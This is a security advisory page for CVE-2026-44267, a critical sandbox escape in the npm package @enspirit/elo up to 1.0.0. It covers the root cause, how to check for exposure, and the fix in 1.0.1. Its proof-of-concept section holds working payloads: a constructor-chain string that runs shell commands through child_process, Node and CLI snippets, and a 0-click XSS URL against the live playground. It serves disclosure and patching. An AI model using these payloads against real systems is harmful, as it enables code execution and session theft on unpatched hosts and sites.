---
id: "CVE-2026-44267"
kind: "vulnerability"
aliases: ["CVE-2026-44267", "GHSA-33r5-xmm8-v6x5"]
title: "Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access"
severity: "critical"
cvss: 9.8
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "@enspirit/elo", "fixed": ["1.0.1"], "affected": "<= 1.0.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["ci", "cwe-1336", "cwe-693", "cwe-79", "cwe-94", "elo", "node.js", "npm", "package", "rule-engine"]
not_affected_if: ["no-untrusted-input", "static-config-only"]
published_at: "2026-11-03T17:53:42+00:00"
first_seen_at: "2026-11-03T17:57:06+00:00"
updated_at: "2026-11-03T17:57:18+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-33r5-xmm8-v6x5", "first_seen_at": "2026-11-03T17:57:06+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44267", "first_seen_at": "2026-11-03T18:22:10+00:00"}]
---

# Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access

The Elo JavaScript emitter writes unfiltered `.constructor` member accesses into generated JavaScript, so a crafted Elo expression compiles to a live Function call. An attacker who controls the input string can run arbitrary code in the host JavaScript runtime, including shell commands through Node.js.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:@enspirit/elo affected <= 1.0.0 fixed 1.0.1

## How to check

- Check the installed version with `npm ls @enspirit/elo` and look for any version at or below `1.0.0`.
- Search lockfiles and dependency trees for `@enspirit/elo` to find transitive copies.
- Find where the library's `defaultFormats.elo.parse()` or the `bin/elo` CLI receives strings from outside the team.

## Fix

- `@enspirit/elo`: move to `1.0.1`.

## Timeline

- 2026-11-03T17:57:06+00:00 ghsa https://github.com/advisories/GHSA-33r5-xmm8-v6x5
- 2026-11-03T18:22:10+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-44267

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/enspirit/elo/security-advisories/GHSA-33r5-xmm8-v6x5
- [advisory] Maintainer's advisory: github.com https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5
- [fix] Patch: github.com https://github.com/enspirit/elo/commit/2136da1f64eec8ebf99890d3100be9394534b842
- [fix] Patch: github.com https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5

## From the sources

### Summary

An unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around "Elo is a safe data/DSL language."

### Vulnerable sink and root cause

Three interacting sites in `src/` produce the bug at commit `749af7b`:

1. **`src/transform.ts:144–158`** — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist.
2. **`src/compilers/javascript.ts:210`** — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.
3. **`src/parser.ts:163–170, 748–750`** — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning.

Combined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code.

### Attack surfaces

All three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch:

| # | Entry point | Threat model |
|---|---|---|
| 1 | Browser playground — `https://elo-lang.org/try/?code=…&run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() => this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. |
| 2 | `bin/elo` CLI | **RCE on CI / DevOps hosts.** Both `node bin/elo payload.elo` and `node bin/elo -e "_" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. |
| 3 | Library API — `defaultFormats.elo.parse()` | **Node.js RCE for any downstream integrator** using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |

### Proof of Concept

**Common payload (works on all three entry points):**

```elo
({}).constructor.constructor('return this.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'id\').toString()')()
```

**Library API** — `poc-minimal.js`:

```js
// npm install elo
const { defaultFormats } = require('elo');

const payload = "({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()";

console.log(defaultFormats.elo.parse(payload));
// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…
```

**CLI** — `poc-cli.sh`:

```sh
node bin/elo payload.elo
# uid=1000(ultrasupara)…

node bin/elo -e "_" -d @payload.elo -f elo
# uid=1000(ultrasupara)…
```

**Browser playground** — 0-click XSS URL:

```
https://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1
```

Opening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.

### Independence from GHSA #3 (AST-API injection)

This finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
